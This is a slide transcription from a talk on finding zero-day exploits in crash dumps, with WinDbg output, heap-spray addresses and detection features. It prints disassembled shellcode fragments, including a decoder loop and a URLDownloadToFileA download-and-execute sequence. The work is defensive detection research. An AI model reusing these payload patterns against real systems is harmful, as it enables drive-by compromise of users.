Hunting Zero Days in Crash Dumps. hotwing
|
|
|
- David Walker
- 6 years ago
- Views:
Transcription
1 Hunting Zero Days in Crash Dumps hotwing
2 /usr/bin/whoami
3
4 D923AE0C-190D-4EDF-B07A-76AC571FBFD4 SCSKEX.cab filever /v SCSKEX.ocx --a-- W32i DLL ENU shp 858,832 scskex.ocx Language 0x0409 (English (United States)) CharSet 0x04b0 Unicode OleSelfRegister Enabled CompanyName softcamp FileDescription SCSKEx ActiveX Control Module InternalName SCSKEx OriginalFilenam SCSKEx.OCX ProductName SCSKEx ActiveX Control Module ProductVersion 4, 0, 31, 7 FileVersion 4, 0, 31, 7 LegalCopyright Copyright (C) SoftCamp Co.,Ltd. All rights reserved.
5
6 0:000>.ecxr eax= c ebx=0003fcec ecx=0003fcf4 edx=0c0c0c0c esi=001d94d4 edi=0003fcfc eip=0c111c94 esp=0013deb4 ebp=0003fcf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= c111c94 cc int 3 << neutered shellcode 0:000> ub eip 0c111c84 0c0c or al,0ch 0c111c86 0c0c or al,0ch 0c111c88 0c0c or al,0ch 0c111c8a 0c0c or al,0ch 0c111c8c 0c0c or al,0ch 0c111c8e 0c0c or al,0ch 0c111c90 0c0c or al,0ch 0c111c92 0c0c or al,0ch 0:000> u 0c111c94 cc int 3 0c111c95 cc int 3
7 Reading bytes at 0x dt psym Local 0x13e1e4 Type SYM* 0x0013e1f8 +0x000 m_psz : 0x022f61b0 -> points to the crashing method call +0x004 m_cch : 0n12 +0x008 m_luhash : 0xa7d4d1fb +0x00c m_fbstr : 0x1 '' +0x00d m_finvertcase : 0 '' 0:000> du 0x022f61b0 022f61b0 "FlexSetFocus"
8
9 F326007F-DD BAFC-B1C97FC
10
11 Minimal information in : Stack trace Crashing instruction Registers value Crashing module Version of crashing module Offset in crashing module Exception record Name of crashing application Version of crashing application 11
12 Minimal information in : Stack trace Crashing instruction Registers value Crashing module Version of crashing module Offset in crashing module Exception record Name of crashing application Version of crashing application 12
13 Minimal information in : Stack trace Crashing instruction Registers value Crashing module Version of crashing module Offset in crashing module Exception record Name of crashing application Version of crashing application Public symbols 13
14 Minimal information in : Stack trace Crashing instruction Registers value Crashing module Version of crashing module Offset in crashing module Exception record Name of crashing application Version of crashing application Public symbols Function Name 14
15 Minimal information in : Stack trace Crashing instruction Registers value Crashing module Version of crashing module Offset in crashing module Exception record Name of crashing application Version of crashing application Public symbols Function Name MSRC case 15
16 Minimal information in : Stack trace Crashing instruction Registers value Crashing module Version of crashing module Offset in crashing module Exception record Name of crashing application Version of crashing application Public symbols Function Name MSRC case 16
17 Minimal information in : Stack trace Crashing instruction Registers value Crashing module Version of crashing module Offset in crashing module Exception record Name of crashing application Version of crashing application Unusual values / known memory spraying (attacking) addresses Public symbols Function Name MSRC case 17
18 Minimal information in : Stack trace Crashing instruction Registers value Crashing module Version of crashing module Offset in crashing module Exception record Name of crashing application Version of crashing application Unusual values / known memory spraying (attacking) addresses Public symbols Function Name MSRC case 18
19 AV? DEP? Minimal information in : Stack trace Crashing instruction Registers value Crashing module Version of crashing module Offset in crashing module Exception record Name of crashing application Version of crashing application Unusual values / known memory spraying (attacking) addresses Public symbols Function Name MSRC case 19
20 AV? DEP? Minimal information in : Stack trace Crashing instruction Registers value Crashing module Version of crashing module Offset in crashing module Exception record Name of crashing application Version of crashing application Unusual values / known memory spraying (attacking) addresses Public symbols Function Name MSRC case 20
21 AV? DEP? Minimal information in : Stack trace Crashing instruction Registers value Crashing module Version of crashing module Offset in crashing module Exception record Name of crashing application Version of crashing application Targeted application / attack MSRC case Unusual values / known memory spraying (attacking) addresses Public symbols Function Name 21
22
23 AV? DEP? Minimal information in : Stack trace Crashing instruction Registers value Crashing module Version of crashing module Offset in crashing module Exception record Name of crashing application Version of crashing application Targeted application / attack MSRC case Unusual values / known memory spraying (attacking) addresses Public symbols Function Name 23
24 AV? DEP? Minimal information in : Stack trace Crashing instruction Registers value Crashing module Version of crashing module Offset in crashing module Exception record Name of crashing application Version of crashing application Targeted application / attack MSRC case Unusual values / known memory spraying (attacking) addresses Public symbols Function Name 24
25 AV? DEP? Minimal information in minidump: Stack trace Crashing instruction Registers value Crashing module Version of crashing module Offset in crashing module Exception record Name of crashing application Version of crashing application Targeted application / attack MSRC case Unusual values / known memory spraying (attacking) addresses Public symbols Function Name 25
26 AV? DEP? Minimal information in minidump: Stack trace Crashing instruction Registers value Crashing module Version of crashing module Offset in crashing module Exception record Name of crashing application Version of crashing application Targeted application / attack MSRC case Unusual values / known memory spraying (attacking) addresses Public symbols Function Name 26
27 0:000> kb *** Stack trace for last set context -.thread/.cxr resets it ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong x0 27
28 0:016>!teb TEB at 7FFA8000 ExceptionList: Stack Base: Stack Limit: 1c87e780 1c c87d000 1c87f310 1c87f360 <-- reasonable child frame address 1c87f314 6a8c870a msw3prt!spl_ippjobsync+0x5e <-- return address 1c87f318 05b21e90 1c87f31c a 1c87f320 1c87f360 <-- reasonable child frame address 1c87f324 6a8c8724 msw3prt!spl_ippjobsync+0x78 <-- return address 1c87f c87f32c a 1c87f c87f334 00c c87f338 1c87f3b0 1c87f33c 7c57915d KERNEL32!LocalAlloc 1c87f a00d8
29
30
31
32
33
34
35
36
37
38 b 33c0 xor eax,eax d 33db xor ebx,ebx f 81ec sub esp,200h bcc mov ecx,esp f854 cmp eax,54h a 7d08 jge c 891c01 mov dword ptr [ecx+eax],ebx f 83c004 add eax, ebf3 jmp
39
40
41 UrlDownloadToCacheA/W CreateProcessInternalA NtReadVirtualMemory NtProtectVirtualMemory lcreat lwrite MultiByteToWideChar
42 HMODULE WINapi LoadLibraryA( LPCSTR lpfilename = "urlmon"); MultiByteToWideChar( UINT CodePage = 0x , in DWORD dwflags = 0x , in LPCSTR lpmultibytestr = " HRESULT URLDownloadToCacheFileW( LPUNKNOWN lpunkcaller = 0x , LPCTSTR szurl = " HANDLE WINapi CreateFileW( in LPCWSTR lpfilename = "c:\cache\shellcode.exe",
43
44 084e06aa ad lods dword ptr [esi] 084e06ab 03c3 add eax,ebx 084e06ad 33d2 xor edx,edx 084e06af c1c203 rol edx,3 084e06b xor dl,byte ptr [eax] 084e06b4 40 inc eax 084e06b cmp byte ptr [eax],0
45 xor ecx, ecx push ecx ; lpfncb push ecx ; dwreserved push ebx ; szfilename push edi ; szurl = 0x0717f776 push ecx ; pcaller xor eax, eax mov eax, [esi+44h] call sub_269 ; URLDownloadToFileA(); 0:035> db 0717f f f
46
47 0332c0f9 90 nop 0332c0fa eb24 jmp 0332c c0fc 5b pop ebx 0332c0fd 33c9 xor ecx,ecx 0332c0ff 6681c17302 add cx,273h 0332c104 8bf3 mov esi,ebx 0332c106 33c0 xor eax,eax 0332c108 8a23 mov ah,byte ptr [ebx] 0332c10a 80ec41 sub ah,41h 0332c10d c0e404 shl ah,4 0332c110 8a4301 mov al,byte ptr [ebx+1] 0332c113 2c41 sub al,41h 0332c115 02e0 add ah,al 0332c mov byte ptr [esi],ah 0332c inc ebx 0332c11a 43 inc ebx 0332c11b 46 inc esi 0332c11c e2e8 loop 0332c c11e eb05 jmp 0332c c120 e8d7ffffff call 0332c0fc 0332c dec ecx 0332c126 4c dec esp
48
49
50 ID Feature % Malicious % Benign %Difference 14 u9090_u x0c0c0c substr unescape function replace new_array
51 1 2 3 Identify malicious properties: SHELLCODE_JMP2CALL2POP EXCEPTION_CHAIN_INVALID, Question - What sets of properties are malicious? A C Dump 1 (malicious) B Z X B K Dump 2 (benign) O C X Y Dump 3 (malicious) Algorithm trains on expert selected data Dump 1 (malicious) Algorithm B B C Dump 9 (benign) D C Dump 4 (malicious) B O C X Y K Dump 5 (benign) Dump 3 (malicious) Dump 7 (benign) 4 Testing Phase Dump Y Dump Q Dump X Dump T Dump Z Dump W Algorithm Model Dump Malicious Benign 1 Y 100% 0% 2 Z 95% 5% 3 X 85% 15% Model {( B ), C ( ), } K (malicious) 100% (benign) 100%
52
53 watson.microsoft.com
54 watson.microsoft.com (redirection via gpo)
55 1 (800) Microsoft
WinDbg: trivial examining of the stack
WinDbg: trivial examining of the stack revision: 1 author: Alexandre Borges Hello readers, how are you? It has passed a long time since my last post. As I've explained previously, my time for writing is
CVE EXPLOIT USING 108 BYTES AND DOWNLOADING A FILE WITH YOUR UNLIMITED CODE BY VALTHEK
CVE-2017-11882 EXPLOIT USING 108 BYTES AND DOWNLOADING A FILE WITH YOUR UNLIMITED CODE BY VALTHEK First words of thank to Embedy Company to discover the initial exploit and POC of 44 bytes máximum, Ridter
Flash JIT Spraying info leak gadgets
Flash JIT Spraying info leak gadgets Author: Fermin J. Serna - fjserna@gmail.com - @fjserna URL: http://zhodiac.hispahack.com/my-stuff/security/flash_jit_infoleak_gadgets.pdf PoC: http://zhodiac.hispahack.com/my-stuff/security/flash_jit_infoleak_gadgets/
Autodesk AutoCAD DWG-AC1021 Heap Corruption
security research Autodesk AutoCAD DWG-AC1021 Heap Corruption Mar 2013 AutoCAD is a software for computer-aided design (CAD) and technical drawing in 2D/3D, being one of the worlds leading CAD design tools.
X86 Addressing Modes Chapter 3" Review: Instructions to Recognize"
X86 Addressing Modes Chapter 3" Review: Instructions to Recognize" 1 Arithmetic Instructions (1)! Two Operand Instructions" ADD Dest, Src Dest = Dest + Src SUB Dest, Src Dest = Dest - Src MUL Dest, Src
A bit away from Kernel execution A write-what-where kernel memory overwrite tale.
A bit away from Kernel execution A write-what-where kernel memory overwrite tale. By ar1vr (01/12/2011) picturoku.blogspot.com Página 1 Good arbitrary kernel memory overwrites are hard to find this days.
Data Exfiltration Techniques
Data Exfiltration Techniques Introduction In this article we will see how malware encode or encrypt data that s exfiltrated to the Command and Control Server from infected machines. This is often done
Program Exploitation Intro
Program Exploitation Intro x86 Assembly 04//2018 Security 1 Univeristà Ca Foscari, Venezia What is Program Exploitation "Making a program do something unexpected and not planned" The right bugs can be
The IA-32 Stack and Function Calls. CS4379/5375 Software Reverse Engineering Dr. Jaime C. Acosta
1 The IA-32 Stack and Function Calls CS4379/5375 Software Reverse Engineering Dr. Jaime C. Acosta 2 Important Registers used with the Stack EIP: ESP: EBP: 3 Important Registers used with the Stack EIP:
Overview of Compiler. A. Introduction
CMPSC 470 Lecture 01 Topics: Overview of compiler Compiling process Structure of compiler Programming language basics Overview of Compiler A. Introduction What is compiler? What is interpreter? A very
Writing Exploits with MSF3.0
Writing Exploits with MSF3.0 Saumil Shah hack.lu 2007 Luxembourg, October 18 2007 Setup and Instructions VMWare Player if you don t have VMWare Workstation Copy VM Image from CD, unzip the ZIP file Administrator
Abysssec Research. 1) Advisory information. 2) Vulnerable version
Abysssec Research 1) Advisory information Title : Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution Version : Firefox 3.6.4 Discovery : http://www.abysssec.com Vendor : http://www.mozilla.com
A Simple Analysis of CVE
A Simple Analysis of CVE-2018-0802 By ITh4cker 0x00 Introduction This Vul has been confirmed a stack overflow in the patched EQNEDT32.exe by CVE-2017-11882,so it s a patch-bypass vul. In fact,when I analyzed
CanSecWest 2011, March Understanding and Exploiting Flash ActionScript Vulnerabilities -- Haifei Li, Sr. Security Researcher
CanSecWest 2011, March 2011 Understanding and Exploiting Flash ActionScript Vulnerabilities -- Haifei Li, Sr. Security Researcher hfli@fortinet.com Why started this research Recent years we have seen an
LdPinch Report. Feng Zhu Jinpeng Wei
LdPinch Report Feng Zhu (fzhu001@fiu.edu), Jinpeng Wei (weijp@cs.fiu.edu) 1 Malware General Information Malware Name: LdPinch (named by ThreatExpert) File size: 641,536 bytes File type: PE32 executable
EECE.3170: Microprocessor Systems Design I Summer 2017
EECE.3170: Microprocessor Systems Design I Summer 2017 Lecture 8: Key Questions June 5, 2017 1. (Review) Describe the structure of a typical x86 stack frame. EECE.3170: Microprocessor Systems Design I
Buffer Overflow Attack
Buffer Overflow Attack What every applicant for the hacker should know about the foundation of buffer overflow attacks By (Dalgona@wowhacker.org) Email: zinwon@gmail.com 2005 9 5 Abstract Buffer overflow.
StarForce 3 - Brief insight into a hidden world. By [yates] [http://www.yates2k.net] [http://www.reteam.org]
![StarForce 3 - Brief insight into a hidden world. By [yates] [http://www.yates2k.net] [http://www.reteam.org]](/thumbs/74/70578943.jpg "StarForce 3 - Brief insight into a hidden world. By [yates] [http://www.yates2k.net] [http://www.reteam.org]")
StarForce 3 - Brief insight into a hidden world. By [yates] [http://www.yates2k.net] [http://www.reteam.org] These notes are intended for anyone wishing to study the working elements of this protection.
Q1: Multiple choice / 20 Q2: Data transfers and memory addressing
16.317: Microprocessor Systems Design I Fall 2014 Exam 1 October 1, 2014 Name: ID #: For this exam, you may use a calculator and one 8.5 x 11 double-sided page of notes. All other electronic devices (e.g.,
COMPUTER ENGINEERING DEPARTMENT
Page 1 of 11 COMPUTER ENGINEERING DEPARTMENT December 31, 2007 COE 205 COMPUTER ORGANIZATION & ASSEMBLY PROGRAMMING Major Exam II First Semester (071) Time: 7:00 PM-9:30 PM Student Name : KEY Student ID.
Lecture 2 Assembly Language
Lecture 2 Assembly Language Computer and Network Security 9th of October 2017 Computer Science and Engineering Department CSE Dep, ACS, UPB Lecture 2, Assembly Language 1/37 Recap: Explorations Tools assembly
EECE.3170: Microprocessor Systems Design I Summer 2017 Homework 4 Solution
1. (40 points) Write the following subroutine in x86 assembly: Recall that: int f(int v1, int v2, int v3) { int x = v1 + v2; urn (x + v3) * (x v3); Subroutine arguments are passed on the stack, and can
Return-orientated Programming
Return-orientated Programming or The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86) Hovav Shacham, CCS '07 Return-Oriented oriented Programming programming
Reversing the Inception APT malware
Reversing the Inception APT malware After reading the Inception paper by Snorre Fagerland and Waylon Grange, I got curious about this threat and did some reversing. I felt that it would be good to write
Reverse Engineering II: Basics. Gergely Erdélyi Senior Antivirus Researcher
Reverse Engineering II: Basics Gergely Erdélyi Senior Antivirus Researcher Agenda Very basics Intel x86 crash course Basics of C Binary Numbers Binary Numbers 1 Binary Numbers 1 0 1 1 Binary Numbers 1
A4 Sample Solution Ch3
A4 Sample Solution Ch3 2. AL, AH, BL, BH,CL,CH,DLl, DH 3. AX, BX, CX, DX, SP, BP, SI, DI, CS, DS, ES, SS, FS, GS 4. EAX, EBX, ECX, EDX, ESP, EBP, EDI, ESI 5. RAX, RBX, RCX, RDX, RSP, RBP, RSI, RDI and
16.317: Microprocessor Systems Design I Fall 2014
16.317: Microprocessor Systems Design I Fall 2014 Exam 2 Solution 1. (16 points, 4 points per part) Multiple choice For each of the multiple choice questions below, clearly indicate your response by circling
In executable we have several anti-debugging, anti-tracing and anti-patching tricks:
------------------------------------------------------------------ Author: ReWolf e-mail: rewolf@rewolf.pl www : http://rewolf.pl ------------------------------------------------------------------ HACKER
COMPUTER ENGINEERING DEPARTMENT
Page 1 of 14 COMPUTER ENGINEERING DEPARTMENT Jan. 7, 2010 COE 205 COMPUTER ORGANIZATION & ASSEMBLY PROGRAMMING Major Exam II First Semester (091) Time: 3:30 PM-6:00 PM Student Name : KEY Student ID. :
Reverse Engineering II: The Basics
Reverse Engineering II: The Basics Gergely Erdélyi Senior Manager, Anti-malware Research Protecting the irreplaceable f-secure.com Binary Numbers 1 0 1 1 - Nibble B 1 0 1 1 1 1 0 1 - Byte B D 1 0 1 1 1
ISA564 SECURITY LAB. Shellcode. George Mason University
ISA564 SECURITY LAB Shellcode George Mason University Outline Shellcode Basics Advanced Shellcode What is shellcode? Machine code used as the payload in the exploitation of a software bug Whenever altering
complement) Multiply Unsigned: MUL (all operands are nonnegative) AX = BH * AL IMUL BH IMUL CX (DX,AX) = CX * AX Arithmetic MUL DWORD PTR [0x10]
![complement) Multiply Unsigned: MUL (all operands are nonnegative) AX = BH * AL IMUL BH IMUL CX (DX,AX) = CX * AX Arithmetic MUL DWORD PTR [0x10]](/thumbs/76/72989659.jpg "complement) Multiply Unsigned: MUL (all operands are nonnegative) AX = BH * AL IMUL BH IMUL CX (DX,AX) = CX * AX Arithmetic MUL DWORD PTR [0x10]")
The following pages contain references for use during the exam: tables containing the x86 instruction set (covered so far) and condition codes. You do not need to submit these pages when you finish your
The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86) Hovav Shacham presented by: Fabian Fäßler
The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86) Hovav Shacham presented by: Fabian Fäßler return-oriented programming Hovav Shacham presented by: Fabian
Scott M. Lewandowski CS295-2: Advanced Topics in Debugging September 21, 1998
Scott M. Lewandowski CS295-2: Advanced Topics in Debugging September 21, 1998 Assembler Syntax Everything looks like this: label: instruction dest,src instruction label Comments: comment $ This is a comment
UMBC. 1 (Feb. 9, 2002) seg_base + base + index. Systems Design & Programming 80x86 Assembly II CMPE 310. Base-Plus-Index addressing:
Data Addressing Modes Base-Plus-Index addressing: Effective address computed as: seg_base base index. Base registers: Holds starting location of an array. ebp (stack) ebx (data) Any 32-bit register except
SA31675 / CVE
Generated by Secunia 10 September, 2008 5 pages Table of Contents Introduction 2 Technical Details 2 Exploitation 4 Characteristics 4 Tested Versions 4 Fixed Versions 5 References 5 Generated by Secunia
Practical Malware Analysis
Practical Malware Analysis Ch 4: A Crash Course in x86 Disassembly Revised 1-16-7 Basic Techniques Basic static analysis Looks at malware from the outside Basic dynamic analysis Only shows you how the
Reverse Engineering II: The Basics
Reverse Engineering II: The Basics This document is only to be distributed to teachers and students of the Malware Analysis and Antivirus Technologies course and should only be used in accordance with
Second Part of the Course
CSC 2400: Computer Systems Towards the Hardware 1 Second Part of the Course Toward the hardware High-level language (C) assembly language machine language (IA-32) 2 High-Level Language g Make programming
Lab 3. The Art of Assembly Language (II)
Lab. The Art of Assembly Language (II) Dan Bruce, David Clark and Héctor D. Menéndez Department of Computer Science University College London October 2, 2017 License Creative Commons Share Alike Modified
ID: Sample Name: TBSERV.exe Cookbook: default.jbs Time: 01:52:14 Date: 23/11/2017 Version:
ID: 301 Sample Name: TBSERV.exe Cookbook: default.jbs Time: 01:52:14 Date: 23/11/201 Version: 20.0.0 Table of Contents Table of Contents Analysis Report Overview General Information Detection Confidence
Load Effective Address Part I Written By: Vandad Nahavandi Pour Web-site:
Load Effective Address Part I Written By: Vandad Nahavandi Pour Email: AlexiLaiho.cob@GMail.com Web-site: http://www.asmtrauma.com 1 Introduction One of the instructions that is well known to Assembly
16.317: Microprocessor Systems Design I Fall 2015
16.317: Microprocessor Systems Design I Fall 2015 Exam 2 Solution 1. (16 points, 4 points per part) Multiple choice For each of the multiple choice questions below, clearly indicate your response by circling
16.317: Microprocessor Systems Design I Fall 2013
16.317: Microprocessor Systems Design I Fall 2013 Exam 1 Solution 1. (20 points, 5 points per part) Multiple choice For each of the multiple choice questions below, clearly indicate your response by circling
CIS-331 Fall 2014 Exam 1 Name: Total of 109 Points Version 1
Version 1 1. (24 Points) Show the routing tables for routers A, B, C, and D. Make sure you account for traffic to the Internet. Router A Router B Router C Router D Network Next Hop Next Hop Next Hop Next
Shellcode Analysis. Chapter 19
Shellcode Analysis Chapter 19 What is Shellcode Shellcode a payload of raw executable code, attackers use this code to obtain interactive shell access. A binary chunk of data Can be generally referred
Dr. Ramesh K. Karne Department of Computer and Information Sciences, Towson University, Towson, MD /12/2014 Slide 1
Dr. Ramesh K. Karne Department of Computer and Information Sciences, Towson University, Towson, MD 21252 rkarne@towson.edu 11/12/2014 Slide 1 Intel x86 Aseembly Language Assembly Language Assembly Language
Q1: Multiple choice / 20 Q2: Protected mode memory accesses
16.317: Microprocessor-Based Systems I Summer 2012 Exam 2 August 1, 2012 Name: ID #: For this exam, you may use a calculator and one 8.5 x 11 double-sided page of notes. All other electronic devices (e.g.,
CIS-331 Fall 2013 Exam 1 Name: Total of 120 Points Version 1
Version 1 1. (24 Points) Show the routing tables for routers A, B, C, and D. Make sure you account for traffic to the Internet. NOTE: Router E should only be used for Internet traffic. Router A Router
16.317: Microprocessor Systems Design I Spring 2014
16.317: Microprocessor Systems Design I Spring 2014 Exam 1 Solution 1. (20 points, 5 points per part) Multiple choice For each of the multiple choice questions below, clearly indicate your response by
Chapter 11. Addressing Modes
Chapter 11 Addressing Modes 1 2 Chapter 11 11 1 Register addressing mode is the most efficient addressing mode because the operands are in the processor itself (there is no need to access memory). Chapter
SA30285 / CVE
Generated by Secunia 17 December, 2008 6 pages Table of Contents Introduction 2 Technical Details 2 Exploitation 5 Characteristics 6 Tested Versions 6 Fixed Versions 6 References 6 Generated by Secunia
Bypassing Different Defense Schemes via Crash-Resistant Probing of Address Space
Bypassing Different Defense Schemes via Crash-Resistant Probing of Address Space Robert Gawlik Ruhr University Bochum Horst Görtz Institute for IT-Security Bochum, Germany About me Playing with InfoSec
Exploiting Stack Buffer Overflows Learning how blackhats smash the stack for fun and profit so we can prevent it
Exploiting Stack Buffer Overflows Learning how blackhats smash the stack for fun and profit so we can prevent it 29.11.2012 Secure Software Engineering Andreas Follner 1 Andreas Follner Graduated earlier
CMSC 313 Lecture 12. Project 3 Questions. How C functions pass parameters. UMBC, CMSC313, Richard Chang
Project 3 Questions CMSC 313 Lecture 12 How C functions pass parameters UMBC, CMSC313, Richard Chang Last Time Stack Instructions: PUSH, POP PUSH adds an item to the top of the stack POP
Binghamton University. CS-220 Spring X86 Debug. Computer Systems Section 3.11
X86 Debug Computer Systems Section 3.11 GDB is a Source Level debugger We have learned how to debug at the C level Now, C has been translated to X86 assembler! How does GDB play the shell game? Makes it
An NCC Group Publication. Exploiting CVE Prepared by: Katy Winterborn. Copyright 2015 NCC Group
An NCC Group Publication Exploiting CVE-2014-0282 Prepared by: Katy Winterborn Contents 1 Introduction... 3 2 Background... 3 2.1 Heap... 3 2.2 Virtual Function Tables... 3 2.3 Use-after-free Vulnerabilities...
Lecture 15 Intel Manual, Vol. 1, Chapter 3. Fri, Mar 6, Hampden-Sydney College. The x86 Architecture. Robb T. Koether. Overview of the x86
Lecture 15 Intel Manual, Vol. 1, Chapter 3 Hampden-Sydney College Fri, Mar 6, 2009 Outline 1 2 Overview See the reference IA-32 Intel Software Developer s Manual Volume 1: Basic, Chapter 3. Instructions
CSC 8400: Computer Systems. Machine-Level Representation of Programs
CSC 8400: Computer Systems Machine-Level Representation of Programs Towards the Hardware High-level language (Java) High-level language (C) assembly language machine language (IA-32) 1 Compilation Stages
Binghamton University. CS-220 Spring Loading Code. Computer Systems Chapter 7.5, 7.8, 7.9
Loading Code Computer Systems Chapter 7.5, 7.8, 7.9 gcc g o ttt ttt.c ttt.c ttt gcc gcc g o ttt ttt.c ttt.c gcc ttt Pre-Processor Linker Compiler Assembler ttt.s ttt.o What is in a binary executable file?
CIS-331 Exam 2 Fall 2014 Total of 105 Points. Version 1
Version 1 1. (20 Points) Given the class A network address 119.0.0.0 will be divided into a maximum of 15,900 subnets. a. (5 Points) How many bits will be necessary to address the 15,900 subnets? b. (5
16.317: Microprocessor Systems Design I Fall 2013
16.317: Microprocessor Systems Design I Fall 2013 Exam 2 Solution 1. (20 points, 5 points per part) Multiple choice For each of the multiple choice questions below, clearly indicate your response by circling
BUFFER OVERFLOW DEFENSES & COUNTERMEASURES
BUFFER OVERFLOW DEFENSES & COUNTERMEASURES CMSC 414 FEB 01 2018 RECALL OUR CHALLENGES How can we make these even more difficult? Putting code into the memory (no zeroes) Finding the return address (guess
CS412/CS413. Introduction to Compilers Tim Teitelbaum. Lecture 21: Generating Pentium Code 10 March 08
CS412/CS413 Introduction to Compilers Tim Teitelbaum Lecture 21: Generating Pentium Code 10 March 08 CS 412/413 Spring 2008 Introduction to Compilers 1 Simple Code Generation Three-address code makes it
Basic Pentium Instructions. October 18
Basic Pentium Instructions October 18 CSC201 Section 002 Fall, 2000 The EFLAGS Register Bit 11 = Overflow Flag Bit 7 = Sign Flag Bit 6 = Zero Flag Bit 0 = Carry Flag "Sets the flags" means sets OF, ZF,
Università Ca Foscari Venezia
Stack Overflow Security 1 2018-19 Università Ca Foscari Venezia www.dais.unive.it/~focardi secgroup.dais.unive.it Introduction Buffer overflow is due to careless programming in unsafe languages like C
CSC 2400: Computer Systems. Towards the Hardware: Machine-Level Representation of Programs
CSC 2400: Computer Systems Towards the Hardware: Machine-Level Representation of Programs Towards the Hardware High-level language (Java) High-level language (C) assembly language machine language (IA-32)
The cache is 4-way set associative, with 4-byte blocks, and 16 total lines
Sample Problem 1 Assume the following memory setup: Virtual addresses are 20 bits wide Physical addresses are 15 bits wide The page size if 1KB (2 10 bytes) The TLB is 2-way set associative, with 8 total
CNIT 127: Exploit Development. Ch 1: Before you begin. Updated
CNIT 127: Exploit Development Ch 1: Before you begin Updated 1-14-16 Basic Concepts Vulnerability A flaw in a system that allows an attacker to do something the designer did not intend, such as Denial
Assembly Language: Function Calls
Assembly Language: Function Calls 1 Goals of this Lecture Help you learn: Function call problems: Calling and returning Passing parameters Storing local variables Handling registers without interference
Reverse Engineering Low Level Software. CS5375 Software Reverse Engineering Dr. Jaime C. Acosta
1 Reverse Engineering Low Level Software CS5375 Software Reverse Engineering Dr. Jaime C. Acosta Machine code 2 3 Machine code Assembly compile Machine Code disassemble 4 Machine code Assembly compile
T Using debuggers to analyze malware. Antti Tikkanen, F-Secure Corporation
T-110.6220 Using debuggers to analyze malware Antti Tikkanen, F-Secure Corporation Agenda Debugger basics Introduction Scenarios and tools How do debuggers work? Debug API The debugging loop Underlying
Machine and Assembly Language Principles
Machine and Assembly Language Principles Assembly language instruction is synonymous with a machine instruction. Therefore, need to understand machine instructions and on what they operate - the architecture.
EECE.3170: Microprocessor Systems Design I Spring 2016
EECE.3170: Microprocessor Systems Design I Spring 2016 Exam 1 Solution 1. (20 points, 5 points per part) Multiple choice For each of the multiple choice questions below, clearly indicate your response
The Instruction Set. Chapter 5
The Instruction Set Architecture Level(ISA) Chapter 5 1 ISA Level The ISA level l is the interface between the compilers and the hardware. (ISA level code is what a compiler outputs) 2 Memory Models An
Assembly Language Each statement in an assembly language program consists of four parts or fields.
Chapter 3: Addressing Modes Assembly Language Each statement in an assembly language program consists of four parts or fields. The leftmost field is called the label. - used to identify the name of a memory
X86-NASM STANDARD COMMANDS. Comment your code with a semicolon (;)! The assembler won t read anything after it.
X86-NASM STANDARD COMMANDS Comment your code with a semicolon (;)! The assembler won t read anything after it. Move mov ax,bx ; ax = bx Use this command when you want to move a value around. You can also
The Microprocessor and its Architecture
The Microprocessor and its Architecture Contents Internal architecture of the Microprocessor: The programmer s model, i.e. The registers model The processor model (organization) Real mode memory addressing
15-213/18-243, Spring 2011 Exam 1
Andrew login ID: Full Name: Section: 15-213/18-243, Spring 2011 Exam 1 Thursday, March 3, 2011 (v1) Instructions: Make sure that your exam is not missing any sheets, then write your Andrew login ID, full
Assembly Language: Function Calls" Goals of this Lecture"
Assembly Language: Function Calls" 1 Goals of this Lecture" Help you learn:" Function call problems:" Calling and returning" Passing parameters" Storing local variables" Handling registers without interference"
An Introduction to x86 ASM
An Introduction to x86 ASM Malware Analysis Seminar Meeting 1 Cody Cutler, Anton Burtsev Registers General purpose EAX, EBX, ECX, EDX ESI, EDI (index registers, but used as general in 32-bit protected
Assembler Programming. Lecture 2
Assembler Programming Lecture 2 Lecture 2 8086 family architecture. From 8086 to Pentium4. Registers, flags, memory organization. Logical, physical, effective address. Addressing modes. Processor Processor
Sandwiches for everyone
Inf2C :: Computer Systems Today s menu ( And finally, monsieur, a wafer-thin mint ) Notes on security Or, why safety is an illusion, why ignorance is bliss, and why knowledge is power Stack overflows Or,
Islamic University Gaza Engineering Faculty Department of Computer Engineering ECOM 2125: Assembly Language LAB. Lab # 7. Procedures and the Stack
Islamic University Gaza Engineering Faculty Department of Computer Engineering ECOM 2125: Assembly Language LAB Lab # 7 Procedures and the Stack April, 2014 1 Assembly Language LAB Runtime Stack and Stack
MODE (mod) FIELD CODES. mod MEMORY MODE: 8-BIT DISPLACEMENT MEMORY MODE: 16- OR 32- BIT DISPLACEMENT REGISTER MODE
EXERCISE 9. Determine the mod bits from Figure 7-24 and write them in Table 7-7. MODE (mod) FIELD CODES mod 00 01 10 DESCRIPTION MEMORY MODE: NO DISPLACEMENT FOLLOWS MEMORY MODE: 8-BIT DISPLACEMENT MEMORY
Assembly Language: Function Calls" Goals of this Lecture"
Assembly Language: Function Calls" 1 Goals of this Lecture" Help you learn:" Function call problems:" Calling and urning" Passing parameters" Storing local variables" Handling registers without interference"
Malware Analysis and Antivirus Technologies: Using Debuggers to Analyze Malware
Malware Analysis and Antivirus Technologies: Using Debuggers to Analyze Malware Protecting the irreplaceable f-secure.com Agenda Debugger basics Introduction Scenarios and tools How debuggers work Debug
The x86 Architecture
The x86 Architecture Lecture 24 Intel Manual, Vol. 1, Chapter 3 Robb T. Koether Hampden-Sydney College Fri, Mar 20, 2015 Robb T. Koether (Hampden-Sydney College) The x86 Architecture Fri, Mar 20, 2015
Assembly Language: Function Calls. Goals of this Lecture. Function Call Problems
Assembly Language: Function Calls 1 Goals of this Lecture Help you learn: Function call problems: Calling and urning Passing parameters Storing local variables Handling registers without interference Returning
CIS-331 Exam 2 Fall 2015 Total of 105 Points Version 1
Version 1 1. (20 Points) Given the class A network address 117.0.0.0 will be divided into multiple subnets. a. (5 Points) How many bits will be necessary to address 4,000 subnets? b. (5 Points) What is
CS / ECE , Spring 2010 Exam 1
Andrew login ID: Full Name: Recitation Section: CS 15-213 / ECE 18-243, Spring 2010 Exam 1 Version 1100101 Tuesday, March 2nd, 2010 Instructions: Make sure that your exam is not missing any sheets, then
6/20/2011. Introduction. Chapter Objectives Upon completion of this chapter, you will be able to:
